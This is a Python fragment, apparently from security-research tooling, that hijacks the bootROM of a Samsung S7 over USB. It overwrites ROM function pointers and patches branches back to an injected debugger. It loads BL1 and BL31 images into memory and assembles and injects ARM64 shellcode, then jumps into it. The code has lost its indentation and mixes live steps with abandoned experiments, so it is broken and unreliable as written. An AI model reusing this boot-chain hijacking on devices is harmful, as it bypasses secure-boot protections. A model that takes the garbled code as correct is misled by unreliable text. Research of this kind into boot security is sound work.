self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1)
# Always hijack rom_usb_download function:
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
# Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1)
self.usb_write(b"FLSH") # Flush cache, as Frederic does
self.cd.test_connection()
auth_bl1(DEBUGGER_ADDR)
# boot_bl1(DEBUGGER_ADDR)
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
jump_bl1(DEBUGGER_ADDR)
# Returns on usb_download function
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
self.cd.arch_dbg.state.print_ctx()
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl31)
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
self.cd.arch_dbg.state.X0 = 0
self.cd.restore_stack_and_jump(0x020219c8)
pass
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.restore_stack_and_jump(0x02022a08)
# Patches
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
# Patch stupid error function
# self.usb_write(b"FLSH") # Flush cache
# Download next stage?
lr = self.cd.arch_dbg.state.LR
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
pass
# Overwrite jump back to the debugger from functions encountered during jump_bl1
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
def hijack_brom_weird():
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
self.cd.restore_stack_and_jump(0x00000314)
jump_bl1(0x020c0000)
def handle_weird_brom():
while True:
try:
resp = self.usb_read(0x200)
logging.debug(f'Within jump_bl1. Response: {resp}.')
if self.cd.arch_dbg.state.LR == 0x02022948:
break # ROM will load next stage over USB
hijack_brom_weird()
except Exception as e:
pass
handle_weird_brom()
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
# self.cd.jump_to(0x2069000)
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# self.cd.fetch_special_regs()
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
self.cd.arch_dbg.state.X0 = 1
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x00000314)
pass
### UXN and PXN seem to be present over the USB stack (02021800+)
shellcode = f"""
ldr x0, debugger_addr
blr x0
debugger_addr: .quad 0x02022000
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x2021800, shellcode)
self.cd.jump_to(0x2021800)
pass
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# # Write bl31 at 0x02021800 and authenticate
auth_bl1(0x020c0000)
# Jump to bl31
jump_bl1(0x02021800)
pass
# VERY OLD
#000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4)